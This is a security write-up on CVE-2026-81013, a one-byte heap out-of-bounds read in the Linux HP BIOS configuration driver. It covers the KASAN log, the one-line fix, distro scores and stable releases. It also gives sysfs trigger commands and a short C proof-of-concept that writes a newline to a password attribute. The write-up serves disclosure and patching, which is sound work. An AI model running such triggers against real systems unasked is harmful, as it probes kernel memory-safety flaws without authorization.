# CVE-2026-81013: heap OOB read on empty password write in hp-bioscfg

**Patch:** [2b2ec354f905c14e3270e8ec3ab50f7d8ad73bab](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2b2ec354f905c14e3270e8ec3ab50f7d8ad73bab) (mainline, landed in 7.3-rc1)
**Subsystem:** platform/x86, HP BIOS configuration driver
**Affected file:** drivers/platform/x86/hp/hp-bioscfg/passwdobj-attributes.c
**CVE record:** [CVE-2026-81013](https://www.cve.org/CVERecord?id=CVE-2026-81013)
**Introduced in:** 6.6, commit 8646a3b5ee3a5b384a22a721f37c24274d974045

## The bug in one sentence

validate_password_input() computed strlen(buf) and immediately read buf[length - 1] to check for a trailing newline, without ever asking whether length was zero.

## The trigger could not be smaller

Write an empty line to the password attribute:

```bash
echo "" > /sys/class/firmware-attributes/hp/.../password/current_password
```

echo "" still sends one byte, the newline. The driver copies the write into a heap buffer, NUL terminates it, and strlen() returns 0. Then the code does this:

```c
length = strlen(buf);
if (buf[length - 1] == '\n')
        length--;
```

With length equal to zero, buf[length - 1] is buf[-1]. One byte before the allocation. KASAN caught it immediately:

```text
BUG: KASAN: slab-out-of-bounds in store_password_instance.constprop.0+0x223/0x2a0 [hp_bioscfg]
Read of size 1 at addr ffff88811bd8da9f by task sh/13740
...
current_password_store+0x14/0x20 [hp_bioscfg]
...
The buggy address is located 23 bytes to the right of
allocated 8-byte region [ffff88811bd8da80, ffff88811bd8da88)
```

The "23 bytes to the right of an 8 byte region" phrasing is KASAN describing an address left of the buffer it sits next to, which is what a negative index looks like in slab terms.

## Why it still matters even though nothing crashes

The garbage byte only influences whether length gets decremented, and length is zero, so decrementing it or not just changes the value passed onward. The write completes, returns success, and the machine keeps running. So is it a real bug?

Yes, and the reasoning matters. It is an out-of-bounds read of heap memory adjacent to attacker influenced data, flagged correctly by KASAN. Code that casually reads before or past a buffer is exactly the kind of code that breaks the next time someone refactors the surrounding function. My commit message said it plainly: this is an information read past the buffer, not a crash, but it is still an out-of-bounds access. The kernel CVE team agreed and assigned a CVE to it.

## The fix

Guard the subtraction:

```diff
 	length = strlen(buf);
-	if (buf[length - 1] == '\n')
+	if (length > 0 && buf[length - 1] == '\n')
 		length--;
```

Full patch: [2b2ec354f905](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2b2ec354f905c14e3270e8ec3ab50f7d8ad73bab)

I reproduced it identically through new_password_store, which shares validate_password_input(), so one guard fixed both entry points.

## How to trigger it

Write an empty line to any password attribute. The attribute directory names come from the BIOS and vary by machine, so pick whichever exists on the box:

```bash
ls /sys/class/firmware-attributes/hp/attributes/
# e.g. "SetupAdminPassword", "PowerOnPassword", ...

printf '\n' > /sys/class/firmware-attributes/hp/attributes/SetupAdminPassword/current_password
```

That is the whole trigger: one newline byte, strlen() returns 0, buf[-1] is read before the 8 byte heap allocation. new_password works identically since both stores go through validate_password_input(). Root required, hp_bioscfg loaded. On KASAN you get the size 1 read 23 bytes left of the region, and without KASAN nothing visible happens at all, which is exactly why this sat unnoticed since 6.6.

## Score and classification

Like its sibling CVE-2026-81014, this one has no CVSS from the kernel CNA and none from NVD (still in Received status). Distro scores:

* Red Hat: 5.5 MEDIUM, CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H, CWE-125 (Bugzilla [2532351](https://bugzilla.redhat.com/show_bug.cgi?id=2532351))
* SUSE: 4.7 MEDIUM
* OffSeq: Medium, EPSS around 0.2 percent

If you are scoring it yourself: local vector, low privileges needed to write sysfs, no crash, no demonstrated leak path back to userspace. It sits at the "correctness bug with security smell" end of the spectrum, and I think the distros scored it fairly.

## Exploit code

```c
/* passwd_underflow.c: CVE-2026-81013
 * gcc -o poc poc.c && sudo ./poc
 * vulnerable kernel: buf[-1] read on empty write, KASAN slab OOB in
 * store_password_instance; fixed: length guard, write succeeds silently
 */
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1]
		: "/sys/class/firmware-attributes/hp/attributes/SetupAdminPassword/current_password";
	const char nl = '\n';
	int fd = open(path, O_WRONLY);

	if (fd < 0) { perror(path); return 1; }

	if (write(fd, &nl, 1) < 0)   /* strlen("") == 0, pre-fix reads buf[-1] */
		perror("write");
	else
		printf("one byte newline write accepted\n");
	close(fd);
	return 0;
}
```

Point it at any password attribute's current_password or new_password; both stores share validate_password_input(). On the vulnerable kernel the KASAN report is the size 1 read 23 bytes left of the 8 byte region shown earlier, and the write completes successfully, so the only visible trace pre-KASAN is none at all. Post-fix the guard makes the read conditional on a nonzero length and the empty write is handled as a legitimate clear attempt. Public status: no KEV, no public PoC before this note; the trigger and KASAN log are part of the public CVE record text.

## Where the fix shipped

* 6.12.109: [cecb8154bd5f](https://git.kernel.org/stable/c/cecb8154bd5fa6c8ddbd1a4e8216bbc0f0eb9828)
* 6.18.50: [0f9aad084248](https://git.kernel.org/stable/c/0f9aad08424882dd5714b53d29ae044060890752)
* 7.2.4: [b699e5c1f63a](https://git.kernel.org/stable/c/b699e5c1f63a9e79946c35598c8a6f7af2c356b8)
* 7.3-rc1: [2b2ec354f905](https://git.kernel.org/stable/c/2b2ec354f905c14e3270e8ec3ab50f7d8ad73bab)

Debian: [DSA-6528-1](https://www.debian.org/security/2026/dsa-6528) and [DLA-4817-1](https://security-tracker.debian.org/tracker/DLA-4817-1). Ubuntu: work in progress on noble and resolute when last checked.

## References

1. [Upstream commit 2b2ec354f905](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2b2ec354f905c14e3270e8ec3ab50f7d8ad73bab)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026091153-CVE-2026-81013-55a4@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-81013)
4. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-81013)
5. [SUSE page](https://www.suse.com/security/cve/CVE-2026-81013.html)
6. [SentinelOne vulnerability database entry](https://www.sentinelone.com/vulnerability-database/cve-2026-81013/)
7. [freenode.net coverage of the hp-bioscfg hardening series](https://freenode.net/article/hp-bios-config-driver-gets-heap-overflow-and-oob-fixes)
